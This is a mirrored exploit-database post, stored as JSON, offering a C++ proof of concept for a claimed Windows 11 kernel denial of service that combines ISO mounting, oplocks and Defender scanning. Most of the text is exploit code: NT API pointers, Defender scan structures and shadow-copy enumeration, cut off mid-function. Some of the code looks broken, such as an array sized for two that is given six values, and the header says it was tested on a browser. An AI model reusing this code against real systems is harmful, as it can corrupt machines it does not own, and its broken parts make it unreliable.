{"id":64236,"date":"2026-06-19T08:37:45","date_gmt":"2026-06-19T08:37:45","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64236"},"modified":"2026-06-19T08:37:45","modified_gmt":"2026-06-19T08:37:45","slug":"microsoft-windows-kernel-iso-mount-oplock-deserialization-denial-of-service","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64236","title":{"rendered":"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-18T16:09:22&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a logic-based denial of service vulnerability in Windows 11 25H2 Build 26200 that causes permanent kernel state corruption through ISO mounting, oplocks, and Windows Defender scanning&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223817&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Windows Kernel Logical Denial of Service via ISO Mount + Oplock Deserialization                                  |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits)                                                 |\\n    | # Vendor    : Windows 11 25H2 (Build 26200) and later                                                                          |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : A Logical Denial of Service (LDoS) vulnerability in Windows 11 25H2 (Build 26200) that causes permanent kernel state corruption through ISO mounting, oplocks, and Windows Defender scanning.\\n    \\n    [+] Payload    : \\n    \\n    \\n    #define _CRT_SECURE_NO_WARNINGS\\n    #define _WIN32_DCOM\\n    #include \\u003ciostream\\u003e\\n    #include \\u003cWindows.h\\u003e\\n    #include \\u003cPsapi.h\\u003e\\n    #include \\u003cwinternl.h\\u003e\\n    #include \\u003cconio.h\\u003e\\n    #include \\u003cntstatus.h\\u003e\\n    #include \\u003cvirtdisk.h\\u003e\\n    #include \\u003cshlwapi.h\\u003e\\n    #include \\u003cinitguid.h\\u003e\\n    #include \\u003cole2.h\\u003e\\n    #include \\u003ccomdef.h\\u003e\\n    #include \\u003ctaskschd.h\\u003e\\n    #include \\u003cbcrypt.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cstring.h\\u003e\\n    #include \\u003ctime.h\\u003e\\n    \\n    #pragma comment(lib, \\&#8221;kernel32.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;bcrypt.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;taskschd.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;comsupp.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;virtdisk.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;ntdll.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;Rpcrt4.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;shlwapi.lib\\&#8221;)\\n    \\n    wchar_t zippath[MAX_PATH] = { 0 };\\n    HMODULE ntdllhm = NULL;\\n    HANDLE g_poseidonevent = NULL;\\n    bool g_poseidonexit = false;\\n    char g_poseidonbuf[0x1000] = { 0 };\\n    \\n    unsigned char rawData[2] = {\\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00\\n    };\\n    \\n    NTSTATUS(WINAPI* _NtSetInformationFile)(\\n        HANDLE FileHandle,\\n        PIO_STATUS_BLOCK IoStatusBlock,\\n        PVOID FileInformation,\\n        ULONG Length,\\n        FILE_INFORMATION_CLASS FileInformationClass\\n    ) = NULL;\\n    \\n    NTSTATUS(WINAPI* _NtDeleteFile)(\\n        _In_ POBJECT_ATTRIBUTES ObjectAttributes\\n    ) = NULL;\\n    \\n    NTSTATUS(WINAPI* _NtOpenDirectoryObject)(\\n        PHANDLE DirectoryHandle,\\n        ACCESS_MASK DesiredAccess,\\n        POBJECT_ATTRIBUTES ObjectAttributes\\n    ) = NULL;\\n    \\n    NTSTATUS(WINAPI* _NtQueryDirectoryObject)(\\n        HANDLE DirectoryHandle,\\n        PVOID Buffer,\\n        ULONG Length,\\n        BOOLEAN ReturnSingleEntry,\\n        BOOLEAN RestartScan,\\n        PULONG Context,\\n        PULONG ReturnLength\\n    ) = NULL;\\n    \\n    NTSTATUS(WINAPI* _NtQueryInformationFile)(\\n        HANDLE FileHandle,\\n        PIO_STATUS_BLOCK IoStatusBlock,\\n        PVOID FileInformation,\\n        ULONG Length,\\n        FILE_INFORMATION_CLASS FileInformationClass\\n    ) = NULL;\\n    \\n    #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))\\n    namespace custom_defs {\\n        typedef enum _SYSTEM_INFORMATION_CLASS {\\n            SystemBasicInformation,\\n            SystemProcessorInformation,\\n            SystemPerformanceInformation,\\n            SystemTimeOfDayInformation,\\n            SystemPathInformation,\\n            SystemProcessInformation,\\n            SystemCallCountInformation,\\n            SystemDeviceInformation,\\n            SystemProcessorPerformanceInformation,\\n            SystemFlagsInformation,\\n            SystemCallTimeInformation,\\n            SystemModuleInformation,\\n            SystemLocksInformation,\\n            SystemStackTraceInformation,\\n            SystemPagedPoolInformation,\\n            SystemNonPagedPoolInformation,\\n            SystemHandleInformation,\\n            SystemObjectInformation,\\n            SystemPageFileInformation,\\n            SystemVdmInstemulInformation,\\n            SystemVdmBopInformation,\\n            SystemFileCacheInformation,\\n            SystemPoolTagInformation,\\n            SystemInterruptInformation,\\n            SystemDpcBehaviorInformation,\\n            SystemFullMemoryInformation,\\n            SystemLoadGdiDriverInformation,\\n            SystemUnloadGdiDriverInformation,\\n            SystemTimeAdjustmentInformation,\\n            SystemSummaryMemoryInformation,\\n            SystemMirrorMemoryInformation,\\n            SystemPerformanceTraceInformation,\\n            SystemObsolete0,\\n            SystemExceptionInformation,\\n            SystemCrashDumpStateInformation,\\n            SystemKernelDebuggerInformation,\\n            SystemContextSwitchInformation,\\n            SystemRegistryQuotaInformation,\\n            SystemExtendServiceTableInformation,\\n            SystemPrioritySeparation,\\n            SystemVerifierAddDriverInformation,\\n            SystemVerifierRemoveDriverInformation,\\n            SystemProcessorIdleInformation,\\n            SystemLegacyDriverInformation,\\n            SystemCurrentTimeZoneInformation,\\n            SystemLookasideInformation,\\n            SystemTimeSlipNotification,\\n            SystemSessionCreate,\\n            SystemSessionDetach,\\n            SystemSessionInformation,\\n            SystemRangeStartInformation,\\n            SystemVerifierInformation,\\n            SystemVerifierThunkExtend,\\n            SystemSessionProcessInformation,\\n            SystemLoadGdiDriverInSystemSpace,\\n            SystemNumaProcessorMap,\\n            SystemPrefetcherInformation,\\n            SystemExtendedProcessInformation,\\n            SystemRecommendedSharedDataAlignment,\\n            SystemComPlusPackage,\\n            SystemNumaAvailableMemory,\\n            SystemProcessorPowerInformation,\\n            SystemEmulationBasicInformation,\\n            SystemEmulationProcessorInformation,\\n            SystemExtendedHandleInformation,\\n            SystemLostDelayedWriteInformation,\\n            SystemBigPoolInformation,\\n            SystemSessionPoolTagInformation,\\n            SystemSessionMappedViewInformation,\\n            SystemHotpatchInformation,\\n            SystemObjectSecurityMode,\\n            SystemWatchdogTimerHandler,\\n            SystemWatchdogTimerInformation,\\n            SystemLogicalProcessorInformation,\\n            SystemWow64SharedInformationObsolete,\\n            SystemRegisterFirmwareTableInformationHandler,\\n            SystemFirmwareTableInformation,\\n            SystemModuleInformationEx,\\n            SystemVerifierTriageInformation,\\n            SystemSuperfetchInformation,\\n            SystemMemoryListInformation,\\n            SystemFileCacheInformationEx,\\n            SystemThreadPriorityClientIdInformation,\\n            SystemProcessorIdleCycleTimeInformation,\\n            SystemVerifierCancellationInformation,\\n            SystemProcessorPowerInformationEx,\\n            SystemRefTraceInformation,\\n            SystemSpecialPoolInformation,\\n            SystemProcessIdInformation,\\n            SystemErrorPortInformation,\\n            SystemBootEnvironmentInformation,\\n            SystemHypervisorInformation,\\n            SystemVerifierInformationEx,\\n            SystemTimeZoneInformation,\\n            SystemImageFileExecutionOptionsInformation,\\n            SystemCoverageInformation,\\n            SystemPrefetchPatchInformation,\\n            SystemVerifierFaultsInformation,\\n            SystemSystemPartitionInformation,\\n            SystemSystemDiskInformation,\\n            SystemProcessorPerformanceDistribution,\\n            SystemNumaProximityNodeInformation,\\n            SystemDynamicTimeZoneInformation,\\n            SystemCodeIntegrityInformation,\\n            SystemProcessorMicrocodeUpdateInformation,\\n            SystemProcessorBrandString,\\n            SystemVirtualAddressInformation,\\n            SystemLogicalProcessorAndGroupInformation,\\n            SystemProcessorCycleTimeInformation,\\n            SystemStoreInformation,\\n            SystemRegistryAppendString,\\n            SystemAitSamplingValue,\\n            SystemVhdBootInformation,\\n            SystemCpuQuotaInformation,\\n            SystemNativeBasicInformation,\\n            SystemErrorPortTimeouts,\\n            SystemLowPriorityIoInformation,\\n            SystemTpmBootEntropyInformation,\\n            SystemVerifierCountersInformation,\\n            SystemPagedPoolInformationEx,\\n            SystemSystemPtesInformationEx,\\n            SystemNodeDistanceInformation,\\n            SystemAcpiAuditInformation,\\n            SystemBasicPerformanceInformation,\\n            SystemQueryPerformanceCounterInformation,\\n            SystemSessionBigPoolInformation,\\n            SystemBootGraphicsInformation,\\n            SystemScrubPhysicalMemoryInformation,\\n            SystemBadPageInformation,\\n            SystemProcessorProfileControlArea,\\n            SystemCombinePhysicalMemoryInformation,\\n            SystemEntropyInterruptTimingInformation,\\n            SystemConsoleInformation,\\n            SystemPlatformBinaryInformation,\\n            SystemPolicyInformation,\\n            SystemHypervisorProcessorCountInformation,\\n            SystemDeviceDataInformation,\\n            SystemDeviceDataEnumerationInformation,\\n            SystemMemoryTopologyInformation,\\n            SystemMemoryChannelInformation,\\n            SystemBootLogoInformation,\\n            SystemProcessorPerformanceInformationEx,\\n            SystemCriticalProcessErrorLogInformation,\\n            SystemSecureBootPolicyInformation,\\n            SystemPageFileInformationEx,\\n            SystemSecureBootInformation,\\n            SystemEntropyInterruptTimingRawInformation,\\n            SystemPortableWorkspaceEfiLauncherInformation,\\n            SystemFullProcessInformation,\\n            SystemKernelDebuggerInformationEx,\\n            SystemBootMetadataInformation,\\n            SystemSoftRebootInformation,\\n            SystemElamCertificateInformation,\\n            SystemOfflineDumpConfigInformation,\\n            SystemProcessorFeaturesInformation,\\n            SystemRegistryReconciliationInformation,\\n            SystemEdidInformation,\\n            SystemManufacturingInformation,\\n            SystemEnergyEstimationConfigInformation,\\n            SystemHypervisorDetailInformation,\\n            SystemProcessorCycleStatsInformation,\\n            SystemVmGenerationCountInformation,\\n            SystemTrustedPlatformModuleInformation,\\n            SystemKernelDebuggerFlags,\\n            SystemCodeIntegrityPolicyInformation,\\n            SystemIsolatedUserModeInformation,\\n            SystemHardwareSecurityTestInterfaceResultsInformation,\\n            SystemSingleModuleInformation,\\n            SystemAllowedCpuSetsInformation,\\n            SystemVsmProtectionInformation,\\n            SystemInterruptCpuSetsInformation,\\n            SystemSecureBootPolicyFullInformation,\\n            SystemCodeIntegrityPolicyFullInformation,\\n            SystemAffinitizedInterruptProcessorInformation,\\n            SystemRootSiloInformation,\\n            SystemCpuSetInformation,\\n            SystemCpuSetTagInformation,\\n            SystemWin32WerStartCallout,\\n            SystemSecureKernelProfileInformation,\\n            SystemCodeIntegrityPlatformManifestInformation,\\n            SystemInterruptSteeringInformation,\\n            SystemSupportedProcessorArchitectures,\\n            SystemMemoryUsageInformation,\\n            SystemCodeIntegrityCertificateInformation,\\n            SystemPhysicalMemoryInformation,\\n            SystemControlFlowTransition,\\n            SystemKernelDebuggingAllowed,\\n            SystemActivityModerationExeState,\\n            SystemActivityModerationUserSettings,\\n            SystemCodeIntegrityPoliciesFullInformation,\\n            SystemCodeIntegrityUnlockInformation,\\n            SystemIntegrityQuotaInformation,\\n            SystemFlushInformation,\\n            SystemProcessorIdleMaskInformation,\\n            SystemSecureDumpEncryptionInformation,\\n            SystemWriteConstraintInformation,\\n            SystemKernelVaShadowInformation,\\n            SystemHypervisorSharedPageInformation,\\n            SystemFirmwareBootPerformanceInformation,\\n            SystemCodeIntegrityVerificationInformation,\\n            SystemFirmwarePartitionInformation,\\n            SystemSpeculationControlInformation,\\n            SystemDmaGuardPolicyInformation,\\n            SystemEnclaveLaunchControlInformation,\\n            SystemWorkloadAllowedCpuSetsInformation,\\n            SystemCodeIntegrityUnlockModeInformation,\\n            SystemLeapSecondInformation,\\n            SystemFlags2Information,\\n            SystemSecurityModelInformation,\\n            SystemCodeIntegritySyntheticCacheInformation,\\n            SystemFeatureConfigurationInformation,\\n            SystemFeatureConfigurationSectionInformation,\\n            SystemFeatureUsageSubscriptionInformation,\\n            SystemSecureSpeculationControlInformation,\\n            SystemSpacesBootInformation,\\n            SystemFwRamdiskInformation,\\n            SystemWheaIpmiHardwareInformation,\\n            SystemDifSetRuleClassInformation,\\n            SystemDifClearRuleClassInformation,\\n            SystemDifApplyPluginVerificationOnDriver,\\n            SystemDifRemovePluginVerificationOnDriver,\\n            SystemShadowStackInformation,\\n            SystemBuildVersionInformation,\\n            SystemPoolLimitInformation,\\n            SystemCodeIntegrityAddDynamicStore,\\n            SystemCodeIntegrityClearDynamicStores,\\n            SystemDifPoolTrackingInformation,\\n            SystemPoolZeroingInformation,\\n            SystemDpcWatchdogInformation,\\n            SystemDpcWatchdogInformation2,\\n            SystemSupportedProcessorArchitectures2,\\n            SystemSingleProcessorRelationshipInformation,\\n            SystemXfgCheckFailureInformation,\\n            SystemIommuStateInformation,\\n            SystemHypervisorMinrootInformation,\\n            SystemHypervisorBootPagesInformation,\\n            SystemPointerAuthInformation,\\n            SystemSecureKernelDebuggerInformation,\\n            SystemOriginalImageFeatureInformation,\\n            SystemMemoryNumaInformation,\\n            SystemMemoryNumaPerformanceInformation,\\n            SystemCodeIntegritySignedPoliciesFullInformation,\\n            SystemSecureCoreInformation,\\n            SystemTrustedAppsRuntimeInformation,\\n            SystemBadPageInformationEx,\\n            SystemResourceDeadlockTimeout,\\n            SystemBreakOnContextUnwindFailureInformation,\\n            SystemOslRamdiskInformation,\\n            SystemCodeIntegrityPolicyManagementInformation,\\n            SystemMemoryNumaCacheInformation,\\n            SystemProcessorFeaturesBitMapInformation,\\n            SystemRefTraceInformationEx,\\n            SystemBasicProcessInformation,\\n            SystemHandleCountInformation,\\n            SystemRuntimeAttestationReport,\\n            SystemPoolTagInformation2,\\n            SystemCodeIntegrityEndpointSecurityInformation,\\n            MaxSystemInfoClass\\n        } SYSTEM_INFORMATION_CLASS;\\n        typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {\\n            PVOID Object;\\n            HANDLE UniqueProcessId;\\n            HANDLE HandleValue;\\n            ACCESS_MASK GrantedAccess;\\n            USHORT CreatorBackTraceIndex;\\n            USHORT ObjectTypeIndex;\\n            ULONG HandleAttributes;\\n            ULONG Reserved;\\n        } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\\n        typedef struct _SYSTEM_HANDLE_INFORMATION_EX {\\n            ULONG_PTR NumberOfHandles;\\n            ULONG_PTR Reserved;\\n            _Field_size_(NumberOfHandles) SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\\n        } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;\\n        typedef enum _FILE_INFORMATION_CLASS {\\n            FileDirectoryInformation = 1,\\n            FileFullDirectoryInformation,\\n            FileBothDirectoryInformation,\\n            FileBasicInformation,\\n            FileStandardInformation,\\n            FileInternalInformation,\\n            FileEaInformation,\\n            FileAccessInformation,\\n            FileNameInformation,\\n            FileRenameInformation,\\n            FileLinkInformation,\\n            FileNamesInformation,\\n            FileDispositionInformation,\\n            FilePositionInformation,\\n            FileFullEaInformation,\\n            FileModeInformation,\\n            FileAlignmentInformation,\\n            FileAllInformation,\\n            FileAllocationInformation,\\n            FileEndOfFileInformation,\\n            FileAlternateNameInformation,\\n            FileStreamInformation,\\n            FilePipeInformation,\\n            FilePipeLocalInformation,\\n            FilePipeRemoteInformation,\\n            FileMailslotQueryInformation,\\n            FileMailslotSetInformation,\\n            FileCompressionInformation,\\n            FileObjectIdInformation,\\n            FileCompletionInformation,\\n            FileMoveClusterInformation,\\n            FileQuotaInformation,\\n            FileReparsePointInformation,\\n            FileNetworkOpenInformation,\\n            FileAttributeTagInformation,\\n            FileTrackingInformation,\\n            FileIdBothDirectoryInformation,\\n            FileIdFullDirectoryInformation,\\n            FileValidDataLengthInformation,\\n            FileShortNameInformation,\\n            FileIoCompletionNotificationInformation,\\n            FileIoStatusBlockRangeInformation,\\n            FileIoPriorityHintInformation,\\n            FileSfioReserveInformation,\\n            FileSfioVolumeInformation,\\n            FileHardLinkInformation,\\n            FileProcessIdsUsingFileInformation,\\n            FileNormalizedNameInformation,\\n            FileNetworkPhysicalNameInformation,\\n            FileIdGlobalTxDirectoryInformation,\\n            FileIsRemoteDeviceInformation,\\n            FileUnusedInformation,\\n            FileNumaNodeInformation,\\n            FileStandardLinkInformation,\\n            FileRemoteProtocolInformation,\\n            FileRenameInformationBypassAccessCheck,\\n            FileLinkInformationBypassAccessCheck,\\n            FileVolumeNameInformation,\\n            FileIdInformation,\\n            FileIdExtdDirectoryInformation,\\n            FileReplaceCompletionInformation,\\n            FileHardLinkFullIdInformation,\\n            FileIdExtdBothDirectoryInformation,\\n            FileDispositionInformationEx,\\n            FileRenameInformationEx,\\n            FileRenameInformationExBypassAccessCheck,\\n            FileDesiredStorageClassInformation,\\n            FileStatInformation,\\n            FileMemoryPartitionInformation,\\n            FileStatLxInformation,\\n            FileCaseSensitiveInformation,\\n            FileLinkInformationEx,\\n            FileLinkInformationExBypassAccessCheck,\\n            FileStorageReserveIdInformation,\\n            FileCaseSensitiveInformationForceAccessCheck,\\n            FileKnownFolderInformation,\\n            FileStatBasicInformation,\\n            FileId64ExtdDirectoryInformation,\\n            FileId64ExtdBothDirectoryInformation,\\n            FileIdAllExtdDirectoryInformation,\\n            FileIdAllExtdBothDirectoryInformation,\\n            FileStreamReservationInformation,\\n            FileMupProviderInfo,\\n            FileMaximumInformation\\n        } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;\\n    }\\n    typedef HANDLE MPHANDLE;\\n    typedef HANDLE* PMPHANDLE;\\n    typedef ULONG MPTHREAT_ID;\\n    typedef ULONG MPRESOURCE_CLASS;\\n    typedef LPWSTR MP_MIDL_STRING;\\n    \\n    typedef enum tagMPTHREAT_TYPE {\\n        MPTHREAT_TYPE_KNOWNBAD = 0,\\n        MPTHREAT_TYPE_BEHAVIOR = 1,\\n        MPTHREAT_TYPE_UNKNOWN = 2,\\n        MPTHREAT_TYPE_KNOWNGOOD = 3,\\n        MPTHREAT_TYPE_NIS = 4,\\n        MPTHREAT_TYPE_MAXVALUE = 4\\n    } MPTHREAT_TYPE;\\n    \\n    typedef enum tagMPTHREAT_SOURCE {\\n        MPTHREAT_SOURCE_SCAN = 0,\\n        MPTHREAT_SOURCE_ACTIVE = 1,\\n        MPTHREAT_SOURCE_HISTORY = 2,\\n        MPTHREAT_SOURCE_QUARANTINE = 3,\\n        MPTHREAT_SOURCE_SIGNATURE = 4,\\n        MPTHREAT_SOURCE_STATE = 5,\\n        MPTHREAT_SOURCE_MAXVALUE = 5\\n    } MPTHREAT_SOURCE;\\n    \\n    typedef enum tagMPSCAN_TYPE {\\n        MPSCAN_TYPE_UNKNOWN = 0,\\n        MPSCAN_TYPE_QUICK = 1,\\n        MPSCAN_TYPE_FULL = 2,\\n        MPSCAN_TYPE_RESOURCE = 3,\\n        MPSCAN_TYPE_MAXVALUE = 3\\n    } MPSCAN_TYPE;\\n    \\n    typedef enum tagMPTHREAT_ACTION {\\n        MP_THREAT_ACTION_UNKNOWN = 0,\\n        MP_THREAT_ACTION_CLEAN = 1,\\n        MP_THREAT_ACTION_QUARANTINE = 2,\\n        MP_THREAT_ACTION_REMOVE = 3,\\n        MP_THREAT_ACTION_ALLOW = 6,\\n        MP_THREAT_ACTION_USERDEFINED = 8,\\n        MP_THREAT_ACTION_NOACTION = 9,\\n        MP_THREAT_ACTION_BLOCK = 10,\\n        MP_THREAT_ACTION_MAX_VALUE = 10\\n    } MPTHREAT_ACTION;\\n    \\n    typedef struct tagMPTHREAT_INFO {\\n        MPTHREAT_ID ThreatID;\\n        GUID DetectionID;\\n        MP_MIDL_STRING Name;\\n        MPTHREAT_TYPE ThreatType;\\n        MPTHREAT_SEVERITY ThreatCriticality;\\n        MPTHREAT_CATEGORY ThreatCategory;\\n        DWORD ThreatShortDescriptionID;\\n        DWORD ThreatAdviseDescriptionID;\\n        MPTHREAT_STATUS ThreatStatus;\\n        DWORD SuggestedActionCount;\\n        MPTHREAT_ACTION SuggestedActionArray[10000];\\n        DWORD ResourceCount;\\n        PVOID ResourceList[1024];\\n        ULARGE_INTEGER ThreatStatusTime;\\n        HRESULT ThreatStatusCode;\\n        DWORD ThreatDetection;\\n        GUID QuarantineGuid;\\n        DWORD ExecutionStatus;\\n        PVOID Data;\\n        DWORD State;\\n        MP_MIDL_STRING DetectionUser;\\n        DWORD DetectionSource;\\n        MP_MIDL_STRING ProcessName;\\n        DWORD DetectionOrigin;\\n        DWORD reserved1;\\n        ULARGE_INTEGER DetectionTime;\\n        DWORD PreExecutionStatus;\\n        ULARGE_INTEGER RemediationTime;\\n        DWORD PostExecutionStatus;\\n        BOOL CriticalFailure;\\n        DWORD NonCriticalReason;\\n        MP_MIDL_STRING RemediationUser;\\n        DWORD RemediationResourceCount;\\n        PVOID RemediationResourceList[1024];\\n        BOOL FailureResolved;\\n        DWORD ResolvedReason;\\n        DWORD AdditionalActions;\\n        DWORD ResolvedActions;\\n        DWORD dwThreatStatusFlag;\\n    } MPTHREAT_INFO, * PMPTHREAT_INFO;\\n    \\n    typedef struct tagMPRESOURCE_INFO {\\n        MP_MIDL_STRING Scheme;\\n        MP_MIDL_STRING Path;\\n        MPRESOURCE_CLASS Class;\\n    } MPRESOURCE_INFO, * PMPRESOURCE_INFO;\\n    \\n    typedef struct tagMPSCAN_RESOURCES {\\n        DWORD dwResourceCount;\\n        PMPRESOURCE_INFO pResourceList;\\n    } MPSCAN_RESOURCES, * PMPSCAN_RESOURCES;\\n    \\n    typedef struct tagMPCALLBACK_INFO {\\n        void* CallbackHandler;\\n        __int64 v4;\\n    } MPCALLBACK_INFO, * PMPCALLBACK_INFO;\\n    typedef struct _FILE_BASIC_INFORMATION {\\n        LARGE_INTEGER CreationTime;\\n        LARGE_INTEGER LastAccessTime;\\n        LARGE_INTEGER LastWriteTime;\\n        LARGE_INTEGER ChangeTime;\\n        ULONG FileAttributes;\\n    } FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION;\\n    \\n    typedef struct _FILE_RENAME_INFORMATION {\\n        union {\\n            BOOLEAN ReplaceIfExists;\\n            ULONG Flags;\\n        } DUMMYUNIONNAME;\\n        HANDLE RootDirectory;\\n        ULONG FileNameLength;\\n        WCHAR FileName[1];\\n    } FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;\\n    \\n    typedef struct _REPARSE_DATA_BUFFER {\\n        ULONG ReparseTag;\\n        USHORT ReparseDataLength;\\n        USHORT Reserved;\\n        union {\\n            struct {\\n                USHORT SubstituteNameOffset;\\n                USHORT SubstituteNameLength;\\n                USHORT PrintNameOffset;\\n                USHORT PrintNameLength;\\n                ULONG Flags;\\n                WCHAR PathBuffer[1];\\n            } SymbolicLinkReparseBuffer;\\n            struct {\\n                USHORT SubstituteNameOffset;\\n                USHORT SubstituteNameLength;\\n                USHORT PrintNameOffset;\\n                USHORT PrintNameLength;\\n                WCHAR PathBuffer[1];\\n            } MountPointReparseBuffer;\\n            struct {\\n                UCHAR DataBuffer[1];\\n            } GenericReparseBuffer;\\n        } DUMMYUNIONNAME;\\n    } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;\\n    \\n    #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)\\n    #define REPARSE_GUID_DATA_BUFFER_HEADER_SIZE 0x8\\n    \\n    typedef struct _FILE_DISPOSITION_INFORMATION_EX {\\n        ULONG Flags;\\n    } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;\\n    typedef struct _OBJECT_DIRECTORY_INFORMATION {\\n        UNICODE_STRING Name;\\n        UNICODE_STRING TypeName;\\n    } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;\\n    struct LLShadowVolumeNames {\\n        wchar_t* name;\\n        LLShadowVolumeNames* next;\\n    };\\n    void DestroyVSSNamesList(LLShadowVolumeNames* First) {\\n        while (First) {\\n            free(First-\\u003ename);\\n            LLShadowVolumeNames* next = First-\\u003enext;\\n            free(First);\\n            First = next;\\n        }\\n    }\\n    LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) {\\n        if (!criticalerr || !vscnumber || !errorcode)\\n            return NULL;\\n        *vscnumber = 0;\\n        ULONG scanctx = 0;\\n        ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);\\n        ULONG retsz = 0;\\n        OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);\\n        if (!objdirinfo) {\\n            printf(\\&#8221;[!] Failed to allocate buffer for object manager directory query.\\\\n\\&#8221;);\\n            *criticalerr = true;\\n            *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n            return NULL;\\n        }\\n        ZeroMemory(objdirinfo, reqsz);\\n        NTSTATUS stat = STATUS_SUCCESS;\\n        \\n        do {\\n            stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, \\u0026scanctx, \\u0026retsz);\\n            if (stat == STATUS_SUCCESS)\\n                break;\\n            else if (stat != STATUS_MORE_ENTRIES) {\\n                printf(\\&#8221;[!] NtQueryDirectoryObject failed with 0x%0.8X\\\\n\\&#8221;, stat);\\n                *criticalerr = true;\\n                *errorcode = RtlNtStatusToDosError(stat);\\n                return NULL;\\n            }\\n            free(objdirinfo);\\n            reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;\\n            objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);\\n            if (!objdirinfo) {\\n                printf(\\&#8221;[!] Failed to allocate required buffer to query object manager directory.\\\\n\\&#8221;);\\n                *criticalerr = true;\\n                *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n                return NULL;\\n            }\\n            ZeroMemory(objdirinfo, reqsz);\\n        } while (1);\\n        void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));\\n        ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));\\n        LLShadowVolumeNames* LLVSScurrent = NULL;\\n        LLShadowVolumeNames* LLVSSfirst = NULL;\\n        for (ULONG i = 0; i \\u003c ULONG_MAX; i++) {\\n            if (memcmp(\\u0026objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) {\\n                free(emptybuff);\\n                break;\\n            }\\n            if (_wcsicmp(L\\&#8221;Device\\&#8221;, objdirinfo[i].TypeName.Buffer) == 0) {\\n                wchar_t cmpstr[] = { L\\&#8221;HarddiskVolumeShadowCopy\\&#8221; };\\n                if (objdirinfo[i].Name.Length \\u003e= sizeof(cmpstr)) {\\n                    if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) &#8211; sizeof(wchar_t)) == 0) {\\n                        (*vscnumber)++;\\n                        if (LLVSScurrent) {\\n                            LLVSScurrent-\\u003enext = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));\\n                            if (!LLVSScurrent-\\u003enext) {\\n                                printf(\\&#8221;[!] Failed to allocate memory.\\\\n\\&#8221;);\\n                                *criticalerr = true;\\n                                *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n                                DestroyVSSNamesList(LLVSSfirst);\\n                                free(objdirinfo);\\n                                return NULL;\\n                            }\\n                            ZeroMemory(LLVSScurrent-\\u003enext, sizeof(LLShadowVolumeNames));\\n                            LLVSScurrent = LLVSScurrent-\\u003enext;\\n                            LLVSScurrent-\\u003ename = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));\\n                            if (!LLVSScurrent-\\u003ename) {\\n                                printf(\\&#8221;[!] Failed to allocate memory.\\\\n\\&#8221;);\\n                                *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n                                *criticalerr = true;\\n                                DestroyVSSNamesList(LLVSSfirst);\\n                                free(objdirinfo);\\n                                return NULL;\\n                            }\\n                            ZeroMemory(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Length + sizeof(wchar_t));\\n                            memmove(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);\\n                        } else {\\n                            LLVSSfirst = 